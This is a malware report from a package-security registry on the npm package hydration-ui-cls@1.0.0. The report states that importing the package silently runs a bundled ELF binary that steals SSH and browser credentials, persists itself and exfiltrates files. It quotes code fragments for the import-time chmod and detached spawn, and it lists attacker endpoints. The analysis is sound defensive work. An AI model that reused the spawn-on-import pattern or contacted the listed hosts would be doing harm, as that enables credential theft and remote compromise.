registry / Malware / hydration-ui-cls

hydration-ui-cls

Dependency-free calendar-day bucketing and streak math primitives, with an optional Node-only on-disk store.

This report shows the evidence for hydration-ui-cls@1.0.0. 1 of 2 known versions is blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

This is concrete import-time execution of a bundled malicious native payload, not a package-aligned accelerator. No lifecycle hook is needed for the payload to activate when the advertised module is imported.

Static reason

No blocking static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

Import hydration-ui-cls

Impact

Remote code execution, credential theft, persistence, and data exfiltration.

Mechanism

Import-time execution of a bundled malicious ELF

Attack narrative

A normal import invokes an async initializer that verifies, chmods, and detached-spawns calc-eng.dat. The bundled hash is explicitly allowlisted by the source. Static binary strings disclose C2-oriented commands to download and execute ELF payloads, collect SSH keys and browser credential stores, establish cron/bashrc/systemd/XDG persistence, and upload collected files.

AI rationale

Evidence

package.jsondist/index.mjsdist/internal/calc-eng.datdist/internal/daymath.mjs/tmp/proc/self/fd~/.ssh~/.config/etc/ssh

Network endpoints3

api.ipify.orglitterbox.catbox.moe/resources/internals/api.php217.60.77.63

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The default module runs an async initializer on import.
Initializer chmods and launches bundled calc-eng.dat as a detached child.
Bundled ELF hash matches the source's allowlisted hash.
ELF strings show C2 downloading, credential harvesting, persistence, and file exfiltration.

Evidence against

package.json has no lifecycle scripts.
Calendar functions in dist/internal/daymath.mjs are ordinary JavaScript utilities.

Behavioral surface

Source

ChildProcessCryptoFilesystemShell

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 3 file(s), 4.84 KB of source

Source & flagged code

6 flagged

dist/internal/calc-eng.datView file

•path = dist/internal/calc-eng.dat kind = native_binary sizeBytes = 63616 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

dist/internal/calc-eng.datView on unpkg

dist/index.mjsView file

•matchType = malicious_source_fingerprint_signature signature = 5501fa102f254897 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = hydration-cls-ui@1.0.0 matchedPath = dist/index.mjs matchedIdentity = npm:aHlkcmF0aW9uLWNscy11aQ:1.0.0 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

dist/index.mjsView on unpkg

34try { fs.chmodSync(binaryPath, 0o755);

High

Ai Review Evidence

Initializer chmods and launches bundled calc-eng.dat as a detached child.

dist/index.mjsView on unpkg · L34

55const engineProcess = cp.spawn(binaryPath, [], { stdio: 'pipe', shell: false, detached: true });

High

Ai Review Evidence

Initializer chmods and launches bundled calc-eng.dat as a detached child.

dist/index.mjsView on unpkg · L55

40// Integrity verification — critical security gate const data = fs.readFileSync(binaryPath); const hash = crypto.createHash('sha256').update(data).digest('hex'); const expectedHash = '[redacted]';

High

Ai Review Evidence

Bundled ELF hash matches the source's allowlisted hash.

dist/index.mjsView on unpkg · L40

package.jsonView file

8"module": "./dist/index.mjs", "exports": { ".": { "types": "./types/index.d.ts", "default": "./dist/index.mjs"

High

Ai Review Evidence

The default module runs an async initializer on import.

package.jsonView on unpkg · L8

Source & flagged code

6 flagged · loading source

dist/internal/calc-eng.datView file

•path = dist/internal/calc-eng.dat kind = native_binary sizeBytes = 63616 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

dist/internal/calc-eng.datView on unpkg

dist/index.mjsView file

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

dist/index.mjsView on unpkg

34try { fs.chmodSync(binaryPath, 0o755);

High

Ai Review Evidence

Initializer chmods and launches bundled calc-eng.dat as a detached child.

dist/index.mjsView on unpkg · L34

55const engineProcess = cp.spawn(binaryPath, [], { stdio: 'pipe', shell: false, detached: true });

High

Ai Review Evidence

Initializer chmods and launches bundled calc-eng.dat as a detached child.

dist/index.mjsView on unpkg · L55

High

Ai Review Evidence

Bundled ELF hash matches the source's allowlisted hash.

dist/index.mjsView on unpkg · L40

package.jsonView file

8"module": "./dist/index.mjs", "exports": { ".": { "types": "./types/index.d.ts", "default": "./dist/index.mjs"

High

Ai Review Evidence

The default module runs an async initializer on import.

package.jsonView on unpkg · L8

Findings

5 High1 Medium1 Low

HighKnown Malware Source Fingerprint Signaturedist/index.mjs

HighAi Review Evidencedist/index.mjs

HighAi Review Evidencepackage.json

MediumShips Native Binarydist/internal/calc-eng.dat

LowFilesystem

Affected versions and remediation

This report applies to hydration-ui-cls@1.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing hydration-ui-cls@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-26 14:30:12.610Z (UTC).

Source advisory published: 2026-08-25 23:30:45.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

0.0.1-securitylatestClean—AllowPublishedAug 25, 2026, 11:30 PM 1.0.0shownMaliciousMalwareBlockPublishedAug 25, 2026, 11:13 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other malware packages

Related packages

Other malware packages

Source & flagged code